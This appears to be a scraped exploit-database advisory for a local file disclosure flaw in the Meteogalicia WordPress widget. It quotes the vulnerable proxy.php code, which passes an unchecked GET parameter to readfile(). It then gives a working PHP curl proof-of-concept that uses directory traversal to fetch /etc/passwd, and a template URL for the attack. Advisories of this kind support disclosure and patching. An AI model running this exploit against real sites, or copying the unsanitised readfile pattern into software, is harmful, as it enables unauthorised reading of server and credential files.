Home / os / wince

Meteogalicia Wordpress Widget - Local File Disclosure

Posted on 30 November -0001

<HTML><HEAD><TITLE>Meteogalicia Wordpress Widget - Local File Disclosure</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>" Meteogalicia Wordpress Widget - Local File Disclosure "

An attacker can exploit this issue to download Important files on the site

Source : https://github.com/zetxek/Meteogalicia-Wordpress-Widget



===========
Vulnerable page :
===========
Meteogalicia-Wordpress-Widget/meteogalicia/proxy.php


==========
Vulnerable Code :
==========
<?php
/*
Note
*/
  $url = 'site.....='.$_GET['id'];
   readfile($url) 
?>



=========
POC Exploit :
========
<?php
# Author : Shahab Shamsi
# Title : Meteogalicia Wordpress Widget - Local File Disclosure
# Date  : 08.September.2016
# Email : info@securityman.org
# Vendor : https://github.com/zetxek/Meteogalicia-Wordpress-Widget
# Category : Webapps
$target = $argv[1];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://localhost/wordpress/meteogalicia/proxy.php?id=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
/*
Contact Me :
Telegram : @R4DIK4L
Email : info@securityman.org
WebSilte : WwW.MohitAmn.Org
Tnx : AmirHossein Farjad
Curl By : R@DIK@L
*/
?> 


===========
POC URL:
===========
http://localhost/patch/meteogalicia/proxy.php?id=[LFD]
</BODY></HTML>

 

TOP

Malware :

Exploits :